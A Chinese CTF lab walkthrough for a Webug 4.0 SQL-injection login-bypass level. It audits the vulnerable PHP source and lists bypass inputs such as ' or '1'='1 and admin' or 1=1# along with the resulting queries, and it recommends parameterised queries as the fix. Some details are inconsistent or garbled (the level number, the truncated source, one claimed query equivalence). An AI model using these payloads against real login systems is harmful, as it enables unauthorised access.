Webug4.0靶场通关笔记08- 第11关万能密码登录(SQL注入漏洞)

目录

第13关 万能密码登录

1.打开靶场

2.源码分析

3.渗透方法1

4.渗透方法2


第13关 万能密码登录

本文通过《webug靶场第13关 万能密码登录》来进行渗透实战。

万能密码是利用 SQL 注入漏洞,构造出能够绕过登录验证的特殊密码字符串。通常,登录验证的 SQL 查询语句类似于SELECT * FROM users WHERE username = '$username' AND password = '$password'。攻击者通过输入特殊的密码,如' OR '1'='1',可以使 SQL 语句的条件永远为真,从而绕过验证,以任意用户的身份登录系统。

  • 危害:万能密码的主要危害是导致系统的登录验证机制失效,攻击者可以轻易地获取系统的访问权限,进而进行其他恶意操作,如窃取数据、篡改信息等。

为了防止 SQL 注入和万能密码攻击,开发人员应该对用户输入进行严格的验证和过滤,使用参数化查询或存储过程来避免将用户输入直接嵌入到 SQL 语句中,同时对数据库的权限进行合理的设置,限制用户对敏感数据的访问。

1.打开靶场

进入靶场的第11关,万能密码登录,网址如下所示。

http://192.168.71.1/webug4/control/sqlinject/universal_passwd.php

此时进入了登陆页面,需要输入用户名和密码,如下图所示。 

2.源码分析

对源码进行代码审计,如下为原始代码。

query($sql);
        if (mysqli_num_rows($res) >=1 ){
            $s = "SELECT * FROM env_list WHERE envName LIKE '%万能密码登陆%'";
            $r = $dbConnect->query($s);
            $row = mysqli_fetch_assoc($r);
            echo "flag:  ".$row['envFlag'];die();
        }
    }
}
require_once TPMELATE."/universalpasswd.html";

这段代码实现了一个不安全的登录验证功能,主要逻辑包括:

  • 检查用户会话状态,未登录则跳转到登录页

  • 接收用户提交的username和password参数

  • 直接将用户输入拼接到SQL查询语句中验证凭据

  • 如果查询返回结果,则显示一个包含"万能密码登陆"相关flag的环境变量

经过分析,这段代码有多个安全漏洞,具体说明如下所示:

  • SQL注入漏洞:直接将用户输入拼接到SQL语句中,攻击者可以构造恶意输入如admin' -- 来绕过认证

  • 密码明文存储:代码显示密码是明文存储和比较的,不符合安全规范

  • 敏感信息暴露:直接输出flag等敏感信息

  • 缺乏错误处理:没有对数据库操作失败的情况进行处理

本关卡如果实现万能登陆,需要利用SQL注入漏洞,接下来对数据库相关代码进行注释解释。

// 检查是否提交了username和password参数
if (isset($_POST["username"]) && isset($_POST['password'])) {
    // 确认参数值不为空
    if (!empty($_POST['username']) && !empty($_POST['password'])) {
        // 获取用户输入的用户名和密码(未做任何过滤处理)
        $username = $_POST['username'];
        $password = $_POST['password'];
        
        // 危险操作:直接将用户输入拼接到SQL语句中(存在SQL注入漏洞)
        $sql = "SELECT * FROM user WHERE username = '{$username}' AND password = '{$password}'";
        
        // 执行SQL查询
        $res = $dbConnect->query($sql);
        
        // 检查是否查询到结果(只要匹配到1条及以上记录就通过验证)
        if (mysqli_num_rows($res) >=1 ){
            // 查询环境变量表中包含"万能密码登陆"的记录
            $s = "SELECT * FROM env_list WHERE envName LIKE '%万能密码登陆%'";
            $r = $dbConnect->query($s);
            
            // 获取查询结果
            $row = mysqli_fetch_assoc($r);
            
            // 直接输出flag(存在信息泄露风险)
            echo "flag:  ".$row['envFlag'];
            
            // 终止脚本执行
            die();
        }
    }
}

最关键的SQL源码如下所示,参数使用单引号闭合。

SELECT * FROM user WHERE username = '{$username}' AND password = '{$password}'

该代码存在严重的SQL注入漏洞,因为:

  1. 未过滤用户输入:直接将POST['username']和P​OST['username']和_POST['password']拼接到SQL语句中

  2. 未使用预处理语句:采用危险的字符串拼接方式构造SQL查询

  3. 错误信息暴露:认证失败时会暴露原始SQL语句结构

攻击者可以利用万能密码绕过登录验证:

username: 1' or 1=1 #
password: [任意值]

这会使SQL语句变为:

SELECT * FROM user WHERE username = '1' or 1=1 #' AND password = '[任意值]'

 其中#注释掉后续条件,or 1=1使查询总是返回真,从而绕过身份验证直接获取flag。

3.渗透方法1

 可以通过构造如下注入命令。

用户名 admin
密码   ' or '1'='1

传入参数后SQL语句如下所示。

SELECT * FROM user WHERE username = 'admin' AND password = '' or '1'='1'

此时相当于如下命令,可以绕过登陆限制直接形成注入命令。

 SELECT * FROM user WHERE username = 'admin'

根据分析,用户名和密码输入如下内容。

admin
' or '1'='1

登录成功后显示flag,渗透成功。

Webug4.0靶场通关笔记08- 第11关万能密码登录(SQL注入漏洞)_第1张图片

4.渗透方法2

由于SQL语句中的#和-- 是代表注释符, 可以通过构造如下注入命令,用户名输入万能注入语句' or 1=1#或者' or 1=1--  (注意--后面加上空格),密码随便输入。

用户名 admin' or 1=1#
密码   ljn
或者
用户名 admin' or 1=1-- 
密码   ljn

传入参数后SQL语句变为如下所示。

SELECT * FROM user WHERE username = 'admin'or 1=1# AND password = 'ljn'
SELECT * FROM user WHERE username = 'admin'or 1=1--  AND password = 'ljn'

此时相当于如下命令,可以绕过登陆限制直接形成注入命令

 SELECT * FROM user WHERE username = 'admin'

根据分析,用户名和密码输入如下内容。

admin' or 1=1#
ljn

或者如下内容。

admin' or 1=1-- 
ljn

 登录成功后显示flag,渗透成功。

Webug4.0靶场通关笔记08- 第11关万能密码登录(SQL注入漏洞)_第2张图片

你可能感兴趣的:(webug靶场,网络,web安全,webug靶场,SQL注入漏洞,万能密码)